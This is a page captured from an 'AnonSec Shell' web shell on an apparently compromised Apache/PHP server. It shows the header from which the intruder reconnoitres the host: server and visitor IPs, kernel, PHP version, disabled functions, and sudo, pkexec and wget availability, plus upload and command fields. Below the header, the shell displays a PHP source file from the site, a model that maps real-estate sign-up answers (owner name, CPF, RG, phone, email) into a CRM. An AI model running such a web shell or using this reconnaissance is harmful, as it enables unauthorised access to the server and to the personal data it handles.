AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/gasch/application/plugins/module_arbo/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/gasch/application/plugins/module_arbo/models/GaiaImovelModel.php
<?php

require_once 'AbstractModel.php';
require_once 'ArboFormsModel.php';
require_once 'GaiaRequest.php';

/**
 * Class GaiaImovelModel
 */
class GaiaImovelModel extends AbstractModel
{
	/**
	 * @var GaiaRequest
	 */
	public $GaiaRequest;

	/**
	 * Armazena um array com as perguntas e respostas
	 * @var
	 */
	public $fields_values;

	/**
	 * Armazena os dados de estado e cidade vindos da Gaia
	 * @var array
	 */
	public $gaia_state_city = [];

	/**
	 * Array que armazena os dados do imóvel
	 * @var array
	 */
	public $data = [];

	/**
	 * Array que armazena os dados do proprietário do imóvel
	 * @var array
	 */
	public $data_customer = [];

	/**
	 * Array que armazena os dados do empreendimento
	 * @var array
	 */
	public $data_empreendimento = [];

	/**
	 * GaiaImovelModel constructor.
	 */
	public function __construct()
	{
		$this->GaiaRequest = new GaiaRequest();
	}

	/**
	 * Método que preenche o array com as informações de cadastro de imóvel que será
	 * enviado para Gaia.
	 *
	 * @param $form_id
	 */
	public function fillFieldsImovel($form_id)
	{
		$ArboForms = new ArboFormsModel();
		$this->fields_values = $ArboForms->findWithFormDataArray($form_id);

		if($this->fields_values['form_data']) {
			// Data atual
			$now = date('d/m/Y');

			$this->data['hdIdtxProprietario'] = '';
			$this->data['txDescricaoInterna'] = '';
			$this->data['txCondicaoComercial'] = '';

			/**
			 * Dados que precisam ser encontrados em sequência logo no início:
			 * 1º - Cidade ln: 435
			 * 2º - Estado
			 */
			$this->findStateCity();

			// Percorre o array de perguntas e respostas
			foreach ($this->fields_values['form_data'] as $item) {

				// Remove os caracteres NO-BREAK SPACE
				if (preg_match("/\xc2\xa0/", $item['field'])) {
					$item['field'] = preg_replace("/\xc2\xa0/", ' ', $item['field']);
				}

				if (trim($item['field']) == "Vamos inciar pelo mais importante... como você se chama?") {
					$this->data['txProprietario'] = $item['value'];
					$this->data_customer['txNome'] = $item['value'];
				}
				// "Qual desses corretores de Londrina está lhe auxiliando?"
				if (preg_match("/Qual desses corretores de (Londrina|Araraquara|Bragança|Outra cidade) está lhe auxiliando?/", trim($item['field']))
						|| "Qual o nome do CORRETOR que está lhe auxiliando?" == trim($item['field'])) {

					// Tenta encontrar o corretor pelo nome
					$id_realtor = $this->getRealtorId($item['value']);
					$this->data['cboCorretor'] = $id_realtor;
					$this->data['cboCorretorComissao'] = $id_realtor;
					$this->data_customer['hdIdCorretor'] = $id_realtor;

					// Caso não encontre, usa os dados do Manoel por padrão
					if (!$id_realtor) {
						$id_realtor = $this->getRealtorId("Manoel");
						$this->data['cboCorretor'] = $id_realtor;
						$this->data['cboCorretorComissao'] = $id_realtor;
						$this->data_customer['hdIdCorretor'] = $id_realtor;
						$this->data['txCondicaoComercial'] .= " Corretor informado pelo proprietário: \"" . $item['value'] . "\"";
						$this->data['txCondicaoComercial'] .= ", Corretor padrão do Robô: \"Manoel\"";
					}
				}
				if (trim($item['field']) == "Ok, dentro dos residenciais, especificamente qual seria?") {
					$this->data['cboFinalidade'] = '1';
					if ($item['value'] == 'Casa') {
						$this->data['cboTipo'] = '7';

						// Tipo de Condomínio: Condomínio de Casas, Prédios > Casas residenciais ...
						$this->data_empreendimento['cboTipoC'] = 'false';
						$this->data_empreendimento['chkTipoCond'] = '2';
					}
					if ($item['value'] == 'Terreno') {
						$this->data['cboTipo'] = '20';

						// Tipo de Condomínio: Condomínio de Casas, Prédios > Casas residenciais ...
						$this->data_empreendimento['cboTipoC'] = 'false';
						$this->data_empreendimento['chkTipoCond'] = '5';
					}
					if ($item['value'] == 'Apartamento') {
						$this->data['cboTipo'] = '2';

						// Tipo de Condomínio: Condomínio de Casas, Prédios > Casas residenciais ...
						$this->data_empreendimento['cboTipoC'] = 'false';
						$this->data_empreendimento['chkTipoCond'] = '3';
					}
				}
				/**
				 * Perguntas faltantes, sem correspondentes encontrados no sistema da Gaia
				 */
//				if (trim($item['field']) == "dentre as categorias de apartamento, qual delas seria") {
//
//				}
//				if (trim($item['field']) == "dentre as categorias de Terrenos, qual delas seria?") {
//
//				}
				if (trim($item['field']) == "Qual é o nome do Edifício, Condomínio ou Residencial?") {
					$this->data['hdNomeEdificio'] = $item['value'];
					$this->data['hdNomeCondominio'] = $item['value'];
					$this->data_empreendimento['txNomeEmpreendimento'] = $item['value'];
				}
				if (trim($item['field']) == "Sobre o condomínio, qual a média paga nesses últimos 3 meses, aproximadamente?") {
					$this->data['txValorCondominio'] = $item['value'];
				}
				if (trim($item['field']) == "Sobre a parte dos armários! Onde eles estão instalados?") {
					if (trim($item['value']) == "Cozinha") {
						$this->data['fl_armario_cozinha'] = 1;
					}
					if (trim($item['value']) == "Corredor") {
						$this->data['fl_armario_corredor'] = 1;
					}
					if (trim($item['value']) == "Closet") {
						$this->data['fl_armario_closet'] = 1;
					}
					if (trim($item['value']) == "Dormitórios") {
						$this->data['fl_armario_dorm'] = 1;
					}
					if (trim($item['value']) == "Banheiros") {
						$this->data['fl_armario_banheiro'] = 1;
					}
					if (trim($item['value']) == "Sala") {
						$this->data['fl_armario_sala'] = 1;
					}
					if (trim($item['value']) == "Escritório") {
						$this->data['fl_armario_escritorio'] = 1;
					}
					if (trim($item['value']) == "Cinema / Home") {
						$this->data['fl_armario_home_theater'] = 1;
					}
					if (trim($item['value']) == "Área de Serviço") {
						$this->data['fl_armario_area_servico'] = 1;
					}
					if (trim($item['value']) == "Dependência") {
						$this->data['fl_armario_dorm_empregada'] = 1;
					}
				}
//				if (trim($item['field']) == "O seu imóvel, qual a posição dele em relação a fachada?") {
//
//				}
//				if (trim($item['field']) == "E, em qual andar fica seu imóvel?") {
//
//				}
				// Conferido uma a uma até a 32
				if (trim($item['field']) == 'em qual Condomínio Fechado fica sua casa?') {
					$this->data['hdNomeEdificio'] = $item['value'];
					$this->data['hdNomeCondominio'] = $item['value'];
					$this->data_empreendimento['txNomeEmpreendimento'] = $item['value'];
				}
				if (trim($item['field']) == "Ok, dentre os Comerciais, especificamente qual seria?") {
					$this->data['cboFinalidade'] = '2';
					if ($item['value'] == 'Casa')
						$this->data['cboTipo'] = '7';
					if ($item['value'] == 'Sala em prédio comercial')
						$this->data['cboTipo'] = '17';
					if ($item['value'] == 'Barracão')
						$this->data['cboTipo'] = '6';
					if ($item['value'] == 'Terreno')
						$this->data['cboTipo'] = '20';
					if ($item['value'] == 'Laje em prédio comercial')
						$this->data['cboTipo'] = '29';
					if ($item['value'] == 'Loja')
						$this->data['cboTipo'] = '26';
				}
				if (trim($item['field']) == "Se você pudesse descrever seu imóvel em poucas palavras o que diria sobre ele?") {
					$this->data['txDescricaoSite'] = $item['value'];
				}
				if (trim($item['field']) == "Qual sua intenção?") {
					if ($item['value'] == 'Venda') {
						$this->data['chkPretVenda'] = 1;
						$this->data['chkPretVenda'] = 1;
					}
					if ($item['value'] == 'Locação') {
						$this->data['chkPretLocacao'] = 1;
					}
					if ($item['value'] == 'Ambos') {
						$this->data['chkPretVenda'] = 1;
						$this->data['chkPretLocacao'] = 1;
					}
				}
				if (trim($item['field']) == "por qual preço você está disposto a alugar seu imóvel?") {
					$this->data['txValorLocacao'] = $this->format($item['value']);
				}
				if (trim($item['field']) == "por qual preço você está disposto a vender seu imóvel?") {
					$this->data['txValorVenda'] = $this->format($item['value']);
				}
				if (trim($item['field']) == "Em caso de Venda até qual percentual do seu imóvel você aceitaria em permuta") {
					$this->data['cboPermuta'] = true;
					$this->data['txDescricaoInterna'] .= ' Permuta: ' . $item['value'] . "%.";
				}
//				if (trim($item['field']) == "qual telefone é o melhor para falar com você; qual o número?") {
				if (trim($item['field']) == "qual seu telefone? COM DDD") {
					$parts = str_split($item['value']);
					$telefone = '';
					if (count($parts) >= 6) {
						foreach ($parts as $idx => $p) {
							if ($idx == 0)
								$telefone .= "(" . $p;
							elseif ($idx == 1)
								$telefone .= $p . ")+";
							elseif ($idx == 5)
								$telefone .= $p . "-";
							else
								$telefone .= $p;
						}
					}

					$this->data['txProprietario_telefone1'] = $telefone;
					$this->data['txProprietario_telefoneId1'] = '0,1';
					$this->data['txProprietario_telefone2'] = $telefone;
					$this->data['txProprietario_telefoneId2'] = '0,2';
					$this->data['txProprietario_telefone3'] = $telefone;
					$this->data['txProprietario_telefoneId3'] = '0,3';
				}
				if (trim($item['field']) == "O contato que você nos passou têm Whatsapp?") {
					//$this->data[''] = $item['value'];
				}
				if (trim($item['field']) == "Qual a área total do imóvel?") {
					$this->data['txAreaTotal'] = (empty($item['value']) || $item['value'] == 0) ? '' : $item['value'];
				}
				if (trim($item['field']) == "Qual é o tamanho do seu terreno em metros quadrados?") {
					$this->data['Area'] = (empty($item['value']) || $item['value'] == 0) ? '' : $item['value'];
					$this->data['txAreaTotal'] = (empty($item['value']) || $item['value'] == 0) ? '' : $item['value'];
					$this->data['txDimTerreno'] = (empty($item['value']) || $item['value'] == 0) ? '' : $item['value'];
				}
				if (trim($item['field']) == "Por qual período você nos permite trabalhar o seu imóvel? em números de dias.") {
					if ((int)$item['value'] > 0) {
						$this->data['cboAutVenda'] = false;
						$this->data['cboExclusividade'] = false;
						$this->data['cboAutVenda'] = true;
						$dt = new Datetime('now');
						$this->data['txExclusividadeInicio'] = date('d/m/Y');
						$this->data['txExclusividadeValidade'] = ''; //$item['value'];
						$this->data['txExclusividadeFim'] = $dt->add(new DateInterval("P{$item['value']}D"))->format('d/m/Y');
					}
				}
				if (trim($item['field']) == "É permitido por placa no seu imóvel?") {
					$this->data['cboPlaca'] = (bool)$item['value'];
					$this->data['cboTipoPlaca'] = 3; //TODO
				}
				if (trim($item['field']) == "Vamos inciar pelo mais importante... como você se chama?") {
					$this->data['txProprietario'] = $item['value'];
				}
				if (trim($item['field']) == "Onde nos conheceu?") {
					$midia_origem = explode(', ', $item['value']);
					if (in_array('Indicação', $midia_origem)) {
						$this->data['cboClienteMidia'] = 13;
						$this->data_customer['cboClienteMidia'] = 13;
						$this->data_customer['origem'] = 'Indicação';
					}
					if (in_array('Portal Zap imóveis', $midia_origem)) {
						$this->data['cboClienteMidia'] = 11;
						$this->data_customer['cboClienteMidia'] = 11;
						$this->data_customer['origem'] = 'Portal Zap imóveis';
					}
					if (in_array('Facebook', $midia_origem)) {
						$this->data['cboClienteMidia'] = 190;
						$this->data_customer['cboClienteMidia'] = 190;
						$this->data_customer['origem'] = 'Facebook';
					}
					if (in_array('Site da Arbo', $midia_origem)) {
						$this->data['cboClienteMidia'] = 8;
						$this->data_customer['cboClienteMidia'] = 8;
						$this->data_customer['origem'] = 'Site da Arbo';
					}
					if (in_array('Portal Viva Real', $midia_origem)) {
						$this->data['cboClienteMidia'] = 73;
						$this->data_customer['cboClienteMidia'] = 73;
						$this->data_customer['origem'] = 'Portal Viva Real';
					} else {
						// outros
						$this->data['cboClienteMidia'] = 13;
						$this->data_customer['cboClienteMidia'] = 13;
						$this->data_customer['origem'] = 'Indicação';
					}
				}
				if (trim($item['field']) == "Qual o CEP?") {
					$this->data['cep'] = $item['value'];
					$this->data_empreendimento['cep'] = $item['value'];
				}
				if (trim($item['field']) == "dentre as categorias de Casas, qual delas seria") {
					if ($item['value'] == 'Casa Térrea') {
						$this->data['cboTipo'] = '7';
					}
					if ($item['value'] == 'Térrea em Condomínio')
						$this->data['cboTipo'] = '7'; // Todo: Verificar
					if ($item['value'] == 'Loft')
						$this->data['cboTipo'] = '32';
					if ($item['value'] == 'Casa Sobrado')
						$this->data['cboTipo'] = '25';
					if ($item['value'] == 'Sobrado em condomínio')
						$this->data['cboTipo'] = '25'; // Todo: Verificar
				}
				if (trim($item['field']) == 'Existe lavabo?') {
					$this->data['fl_lavabo'] = 1;
				}
				if (trim($item['field']) == "Quanto as chaves do imóvel?") {
					if ($item['value'] == 'Na ArBo') {
						$this->data['cboLocalChave'] = '2';
						$this->data['cboFilialChave'] = '25181'; // Matriz Arbo
						$this->data_customer['hdIdImobiliaria_filial'] = '25181';
					}
					if ($item['value'] == 'Comigo, Proprietário!')
						$this->data['cboLocalChave'] = '4';
					if ($item['value'] == 'Na portaria')
						$this->data['cboLocalChave'] = '5';
				}
				if (trim($item['field']) == "seu imóvel é?") {
					if ($item['value'] == 'Residencial') {
						$this->data['cboFinalidade'] = '1';

						// Tipo de Condomínio: Edifício ou Prédio de torre única > Residencial ...
						$this->data_empreendimento['cboTipoC'] = 'true'; //false
						$this->data_empreendimento['chkTipoCond'] = '8';
					}
					if ($item['value'] == 'Comercial') {
						$this->data['cboFinalidade'] = '2';

						// Tipo de Condomínio: Edifício ou Prédio de torre única > Comercial ...
						$this->data_empreendimento['cboTipoC'] = 'true';
						$this->data_empreendimento['chkTipoCond'] = '9';
					}
					if ($item['value'] == 'Industrial') {
						$this->data['cboFinalidade'] = '3';

						// Tipo de Condomínio: Condomínio de Casas, Prédios > Industrial ...
						$this->data_empreendimento['cboTipoC'] = 'true'; //false
						$this->data_empreendimento['chkTipoCond'] = '12';
					}
				}
				if (trim($item['field']) == "A fachada do seu imóvel, em relação a posição solar é?") {
					if ($item['value'] == 'Sol da manha')
						$this->data['cboFace'] = '6';
					if ($item['value'] == 'Voltado para o norte')
						$this->data['cboFace'] = '5';
					if ($item['value'] == 'Sol da tarde')
						$this->data['cboFace'] = '7';
					if ($item['value'] == 'Voltado para o Sul')
						$this->data['cboFace'] = '3';
					if ($item['value'] == 'Não sei')
						$this->data['cboFace'] = '0';
				}
				if (trim($item['field']) == "Quantos deles são suítes?") {
					$this->data['in_suites'] = (empty($item['value']) || $item['value'] == 0) ? '' : $item['value'];
				}
				$bairro_fields = [
					'o bairro que fica o imóvel em Londrina seria algum destes?',
					'o bairro que fica o imóvel em Araraquara seria algum destes?',
					'o bairro que fica o imóvel em Bragança seria algum destes?',
					'Qual o nome do bairro que fica seu imóvel?'
				];
				if (in_array(trim($item['field']), $bairro_fields)) {
					$this->data['bairro'] = $item['value'];
					$this->data_empreendimento['bairro'] = $item['value'];
				}
				if (trim($item['field']) == "Quantas salas tem no seu imóvel?") {
					$this->data['in_salas'] = $item['value'];
				}
				if (trim($item['field']) == "Seu imóvel tem aproximadamente qual idade?") {
					if ((int) $item['value'] > 0) {
						$now = new DateTime('now');
						$interval = new DateInterval("P{$item['value']}Y");
						$ano = $now->sub($interval)->format('Y');
						$this->data['txAnoConstrucao'] = $ano;
					}
					else {
						$this->data['txAnoConstrucao'] = '';
					}
				}
				if (trim($item['field']) == "Fale um pouco de que tipo de imóvel você aceitaria uma permuta!") {
					$this->data['cboPermuta'] = true;
					$this->data['txDescricaoInterna'] .= ' Descrição da Permuta: ' . $item['value'];
				}
				if (trim($item['field']) == "Para finalizar, faremos poucas perguntas pessoais para uma formalização de serviços, ok?Qual seu CPF?") {
					$this->data_customer['txCpf'] = $item['value'];
				}
				if (trim($item['field']) == "Qual é sua profissão?") {
					$this->data_customer['txProfissao'] = $item['value'];
				}
				if (trim($item['field']) == "quantos quartos tem no seu imóvel?") {
					$this->data['in_dorm'] = (empty($item['value']) || $item['value'] == 0) ? '' : $item['value'];
				}
				if (trim($item['field']) == "Você gostaria de ser chamado apenas de?") {
					//$this->data[''] = $item['value'];
				}
				if (trim($item['field']) == "qual seu email?") {
					$this->data['idEmails_email1'] = $item['value'];
					$this->data['idEmails_emailId1'] = '0,1';
					$this->data_customer['idEmails_email1'] = $item['value'];
					$this->data_customer['idEmails_emailId1'] = '0,1';
				}
				// Novas perguntas criadas pelo Manoel, 21/06/2017.
				if (trim($item['field']) == "Qual o nome da Rua do imóvel?") {
					// Endereço padrão (FAKE) para os casos em que o endereço informado pelo cliente não
					// foi encontrado na Gaia: Rua Professor Joaquim de Matos Barreto, 88, Londrina, PR, 86060-010
					$id_cidade = 126; // Londrina
					$idLogradouro = 967083;
					$bairro_comercial = 23213;

					// Remove os termos "Rua", "Avenida", "Av" antes do nome da rua
					$pattern_endereco = "/(RUA|Rua|rua|R.\s)\s?|(AVENIDA|Avenida|avenida)\s?|([A|a]v\.?\s?)/";
					if (preg_match($pattern_endereco, $item['value'], $matches)) {
						$item['value'] = preg_replace($pattern_endereco, '', $item['value']);
					}

					// Quando o nome da rua tiver uma virgula e número no final, remove.
					if (substr_count($item['value'], ',') >= 1) {
						$rua_numero = explode(",", $item['value']);
						$item['value'] = isset($rua_numero[0]) ? trim($rua_numero[0]) : $item['value'];
					}

					// Remove "Dr" ou "dr" no nome da rua
					if (preg_match("/[D|d]r/", $item['value'])) {
						$item['value'] = trim(preg_replace("/[D|d]r/", '', $item['value']));
					}

					// Atribui o valor após remover o tipo de endereço do início
					$this->data['endereco'] = $item['value'];

					if (isset($this->data['endereco']) && !empty($this->data['endereco'])) {
						// Busca os dados do endereço
						$gaia_address = $this->GaiaRequest->getAddress($this->gaia_state_city['id_cidade'], strtolower($this->data['endereco']));

						// bairro_comercial
						if (isset($gaia_address[0]['neighborhood_id'])) {
							$this->data['bairro_comercial'] = $gaia_address[0]['neighborhood_id'];
							$this->data_empreendimento['bairro_comercial'] = $this->data['bairro_comercial'];
						}
						else {
							$this->data['bairro_comercial'] = $bairro_comercial;
						}

						// idLogradouro
						if (isset($gaia_address[0]['street_id'])) {
							$this->data['idLogradouro'] = $gaia_address[0]['street_id'];
							$this->data_empreendimento['idLogradouro'] = $this->data['idLogradouro'];
						}
						else {
							$this->data['idLogradouro'] = $idLogradouro;
							$this->data_empreendimento['idLogradouro'] = $idLogradouro; // TODO: teste
						}
					}
				}
				if (trim($item['field']) == "E o Número?") {
					$this->data['numero'] = $item['value'];
					$this->data_empreendimento['numero'] = $item['value'];
				}
				if (trim($item['field']) == "Qual o complemento?") {
					$this->data['complemento'] = $item['value'];
				}
				// Fim das novas perguntas criadas pelo Manoel, 21/06/2017.
				if (trim($item['field']) == "Qual o ponto de referência mais conhecido perto do seu imóvel?")
					$this->data['ponto_referencia'] = $item['value'];
				if (trim($item['field']) == "Vamos selecionar as características gerais internas do imóvel!") {
					$caract = explode(', ', $item['value']);
					$this->data['fl_mobiliado'] 		= (in_array('Semi-mobiliado', $caract) || in_array('Toda mobiliada', $caract)) ? 1 : '';
					$this->data['fl_ar'] 				= (in_array('Ar condicionado', $caract)) ? 1 : '';
					$this->data['fl_portao'] 			= (in_array('Portão Eletrônico', $caract)) ? 1 : '';
					$this->data['fl_pe_direito_duplo']= (in_array('Pé direito Duplo', $caract)) ? 1 : '';
					$this->data['fl_mezanino'] 		= (in_array('Mezanino', $caract)) ? 1 : '';
					$this->data['fl_terraco'] 		= (in_array('Terraço', $caract)) ? 1 : '';
					$this->data['fl_elevador'] 		= (in_array('Elevador Próprio', $caract)) ? 1 : '';
					$this->data['fl_alarme'] 			= (in_array('Alarme próprio', $caract)) ? 1 : '';
					$this->data['fl_interfone'] 		= (in_array('Interfone', $caract)) ? 1 : '';
					$this->data['fl_deposito'] 		= (in_array('Depósito', $caract)) ? 1 : '';
					$this->data['fl_lareira'] 		= (in_array('Lareira', $caract)) ? 1 : '';
					$this->data['fl_jardim_inverno'] 	= (in_array('Jardim de Inverno', $caract)) ? 1 : '';
				}
				if (trim($item['field']) == "Separando pelos Serviços que o imóvel oferece, quais deles têm no seu imóvel?") {
					$serv = explode(', ', $item['value']);
					(in_array('Cozinha', $serv)) ? $this->data['fl_cozinha'] = 1 : $this->data['fl_cozinha'] = '';
					(in_array('Copa', $serv)) ? $this->data['fl_copa'] = 1 : $this->data['fl_copa'] = '';
					(in_array('Dependência de Funcionários', $serv)) ? $this->data['fl_dorm_empregada'] = 1 : $this->data['fl_dorm_empregada'] = '';
					(in_array('Banheiro para funcionários', $serv)) ? $this->data['fl_ban_empregada'] = 1 : $this->data['fl_ban_empregada'] = '';
					(in_array('Despensa', $serv)) ? $this->data['fl_despensa'] = 1 : $this->data['fl_despensa'] = '';
					(in_array('Área de Serviço', $serv)) ? $this->data['fl_area_servico'] = 1 : $this->data['fl_area_servico'] = '';
				}
				if (trim($item['field']) == "Quanto a área social interna do imóvel! Ele têm?") {
					$social = explode(', ', $item['value']);
					(in_array('Sacada', $social)) ? $this->data['fl_sacada'] = 1 : $this->data['fl_sacada'] = '';
					(in_array('Varanda', $social)) ? $this->data['fl_varanda_gourmet'] = 1 : $this->data['fl_varanda_gourmet'] = '';
					(in_array('Escritório', $social)) ? $this->data['fl_escritorio'] = 1 : $this->data['fl_escritorio'] = '';
				}
				if (trim($item['field']) == "Você aceitaria financiamento bancário ou consórcio no seu imóvel? Ele tem condições para isso?")
					$this->data['cboAceitaFinanciamento'] = ($item['value']) ? true : false;
				if (trim($item['field']) == "E seu RG?") {
					$this->data_customer['txRg'] = $item['value'];
				}
				if (trim($item['field']) == "qual o tipo de piso?") {
					$piso = explode(', ', $item['value']);
					(in_array('Porcelanato', $piso)) ? $this->data['fl_piso_porcelanato'] = 1 : $this->data['fl_piso_porcelanato'] = '';
					(in_array('Laminado', $piso)) ? $this->data['fl_piso_laminado'] = 1 : $this->data['fl_piso_laminado'] = '';
					(in_array('Carpet', $piso)) ? $this->data['fl_carpete'] = 1 : $this->data['fl_carpete'] = '';
					(in_array('Cerâmico', $piso)) ? $this->data['fl_piso_ceramica'] = 1 : $this->data['fl_piso_ceramica'] = '';
					(in_array('Taco de madeira', $piso)) ? $this->data['fl_piso_taco_madeira'] = 1 : $this->data['fl_piso_taco_madeira'] = '';
				}
				if (trim($item['field']) == "e a área útil?") {
					$this->data['txAreaUtil'] = $item['value'];
				}
				if (trim($item['field']) == "Quantas vagas de garagem tem seu imóvel?") {
					$this->data['in_vagas'] = ((int) $item['value'] > 0) ? $item['value'] : 0;
					$this->data['in_garagens'] = ((int) $item['value'] > 0) ? $item['value'] : 0;
					$this->data['in_vagas_tipo'] = 1; // Própria
					$this->data['in_vagas_caracteristica'] = 1; // Vaga Fixa
				}
				if (trim($item['field']) == "Hoje como está a ocupação do imóvel?") {
					$ocupacao = $item['value'];
					($ocupacao == 'Ocupado ( estou nele )') ? $this->data['cboOcupacao'] = 2 : $this->data['cboOcupacao'] = 0;
					($ocupacao == 'Locado') ? $this->data['cboOcupacao'] = 3 : $this->data['cboOcupacao'] = 0;
					($ocupacao == 'Desocupado') ? $this->data['cboOcupacao'] = 1 : $this->data['cboOcupacao'] = 0;
					($ocupacao == 'Imóvel na planta') ? $this->data['cboOcupacao'] = 5 : $this->data['cboOcupacao'] = 0;
					($ocupacao == 'Eu estou construindo') ? $this->data['cboOcupacao'] = 4 : $this->data['cboOcupacao'] = 0;
					($ocupacao == 'Locado') ? $this->data['cboLocado'] = true : $this->data['cboLocado'] = false;
				}
				if (trim($item['field']) == "qual o padrão você julga que ele se encaixa?") {
					$this->data['cboPadrao'] = 6; //TODO $item['value'];
				}
				if (trim($item['field']) == "Com qual frequêcia você gostaria de saber as notícias do seu imóvel?") {
//					$this->data[''] = $item['value'];
				}
				if (trim($item['field']) == "Preencher esse questionário foi tranquilo?") {
//					$this->data[''] = $item['value'];
				}
				if (trim($item['field']) == "Quantos banheiros no total?") {
					$this->data['in_banheiros'] = (empty($item['value'])) ? '' : $item['value'];
				}
				if (trim($item['field']) == "onde você mora, quer dizer, qual é o seu endereço ( Rua, número, complemento, bairro, cidade e estado )?") {
					$this->data_customer['txLogradouroBusca_1'] = $item['value'];
					$endereco_cliente = $item['value'];
					$end_client_arr = explode(', ', $endereco_cliente);
					(isset($end_client_arr[0])) ? $this->data_customer['endereco'] = $end_client_arr[0] : '';
					(isset($end_client_arr[1])) ? $this->data_customer['numero'] = $end_client_arr[1] : '';
					(isset($end_client_arr[2])) ? $this->data_customer['complemento'] = $end_client_arr[2] : '';
					(isset($end_client_arr[3])) ? $this->data_customer['bairro'] = $end_client_arr[3] : '';
					(isset($end_client_arr[4])) ? $this->data_customer['cidade'] = $end_client_arr[4] : '';
					(isset($end_client_arr[5])) ? $this->data_customer['estado'] = $end_client_arr[5] : '';
				}
				if (preg_match("/Você concorda?/", trim($item['field']))) {
					$this->data['cboAutVenda'] = ($item['value'] == "1") ? true : false;
					$this->data['cboExclusividade'] = ($item['value'] == "1") ? true : false;
					$this->data['txExclusividadeInicio'] = date('d/m/Y');
				}
				if (trim($item['field']) == "Podemos trabalhar até qual faixa de desconto ?") {
					$this->data['chkGarantia'] = 6;
					$this->data['txDescricaoInterna'] .= " Seguro fiança: " . $item['value'];
				}

			}// End Foreach
		}

		// Outros campos do imóvel
		$this->data['cboClienteMidia'] = '8';
		$this->data['txUsuario'] = 'Leonardo Lopes Ramos';
		$this->data['hdTxNomeUsuario'] = 'Leonardo Lopes Ramos';
		$this->data['txValorm2Venda'] = '1,00';
		$this->data['txValorm2Locacao'] = '0';
		$this->data['txPacoteLocacao'] = '';
		$this->data['txExclusividadeFim'] = '';
		$this->data['dlDesconto'] = '';
		$this->data['dlSaldoDevedor'] = '';
		$this->data['cboValorImovelSite'] = '1';
		$this->data['chkPortais'] = '0';
		$this->data['dtCadastroComissao'] = $now;
		$this->data['dtCadastroComissao_0'] = $now;
		$this->data['idImovel'] = 0;
		$this->data['idCliente'] = 0;
		$this->data['txCondominio'] = '[object Object]';
		$this->data['cboCondominioFechado'] = false;
		$this->data['cboCondominioFase'] = '';
		$this->data['cboCondominioStatus'] = 0;
		$this->data['txEdificio'] = ''; //TODO 6598029
		$this->data['cepTipo'] = 1;
		$this->data['CEPValor'] = '';
		$this->data['cepPais'] = 1;
//		$this->data['CEPLogradouro'] = '[object Object]'; // TODO
		$this->data['idTipoNumeracao'] = 1;
		$this->data['cboPraia'] = 0;
		$this->data['txRegiao'] = '';
		$this->data['idRegiao'] = '';
		$this->data['txReferenciaAux'] = 'ref. alt';
		$this->data['cboStatus'] = 1;
		$this->data['cboTipoLocacao'] = 3; //TODO
		$this->data['txTaxaIntermediacao'] = '';
		$this->data['txValorIptu'] = '';
		$this->data['cboPagamentosCondicoesIptu'] = '2';
		$this->data['txNomeIlha'] = '';
		$this->data['txNomeFaz'] = '';
		$this->data['cboLocalizacao'] = 1;
		$this->data['txOcupadoAte'] = '';
		$this->data['cboOcupador'] = 1;
		$this->data['txAcomodaQtdPessoas'] = '';
		$this->data['txAnoReforma'] = '';
		$this->data['cboFGTS'] = false;
		$this->data['cboAceitaFinanciamento'] = false;
		$this->data['txZoneamento'] = '';
		$this->data['txValorVendaAvaliacao'] = ''; //TODO '1,00';
		$this->data['txValorLocacaoAvaliacao'] = ''; //TODO '1,00';
		$this->data['dtAvaliacao'] = ''; //TODO date('d/m/Y');
		$this->data['txValorFiancaEmpresarial'] = '0,00';
		$this->data['txPorcentagemFiancaEmpresarial'] = '';
		$this->data['txtotalFiancaEmpresarial'] = '';
		$this->data['dlValorTabela'] = '';
		$this->data['dlSinal'] = '0,00';
		$this->data['dtExpiracao'] = $now; //TODO
		$this->data['txDescricaoPromocao'] = '';
		$this->data['cboPeriodicidadeTipo_Default'] = 2;
		$this->data['inParcelas_Default'] = '';
		$this->data['dlValor_Default'] = '';
		$this->data['dtInicial_Default'] = '';
		$this->data['dtFinal_Default'] = '';
		$this->data['hsTodosCamposDetalhe'] = false;
		$this->data['txAreaComum'] = ''; //TODO 100
		$this->data['txAreaPrivativa'] = ''; //TODO 50
		$this->data['cboPosicaoImovel'] = 1;
		$this->data['cboTopografia'] = 0;
		$this->data['in_andares'] = '';
		$this->data['in_andar'] = '';
		$this->data['fl_litoraneo'] = 0;
		$this->data['fl_vista_mar'] = 0;
		$this->data['in_metros_praia'] = '';
		$this->data['dl_area_mezanino'] = '';
		$this->data['in_garagens'] = '';
		$this->data['in_garagens_descobertas'] = '';
		$this->data['fl_churrasqueira'] = 0;
		$this->data['fl_adega'] = 0;
		$this->data['in_suites'] = '';
		$this->data['cboCorretorChave'] = 0;
		$this->data['tx_local_chave'] = '';
		$this->data['txCodigoChave'] = '';
		$this->data['foto_destaque'] = '';
		$this->data['numero_fotos'] = 0;
		$this->data['cboSite'] = false;
		$this->data['cmbEnviar'] = 0;
		$this->data['cboDestaque'] = false;
		$this->data['cboSuperDestaque'] = false;
		$this->data['txLinkVideo'] = '';
		$this->data['txTituloSite'] = '';
		$this->data['txTourVirtual'] = '';
		$this->data['blReadOnlyPortais'] = false;
		$this->data['cboMidiaImpressa'] = false;
		$this->data['txDescricaoMidiaImpressa'] = '';
		$this->data['cboClassificacao'] = 1;
		$this->data['dtPedidoColocacao'] = '';
		$this->data['dtColocacao'] = '';
		$this->data['dtPedidoRetirada'] = '';
		$this->data['dtRetirada'] = '';
		$this->data['cboComissaoTipo_Default'] = 0;
		$this->data['cboCorretorComissao_Default'] = 0;
		$this->data['cboMidiaPublicacao_Default'] = 127; //TODO
		$this->data['dtPublicacao_Default'] = '';
		$this->data['txNomeTerceiro_Default'] = '';
		$this->data['chkPretComissao'] = 3;
		$this->data['cboComissaoTipo'] = 2;
		$this->data['cboMidiaPublicacao'] = '127'; //TODO
		$this->data['dtPublicacao'] = '';
		$this->data['txNomeTerceiro'] = '';
		$this->data['chkPretComissao_0'] = 3; //TODO
		$this->data['txPrefeitura'] = '';
		$this->data['txTmpPrefeitura'] = '';
		$this->data['txCartorio'] = '';
		$this->data['txEletricidade'] = '';
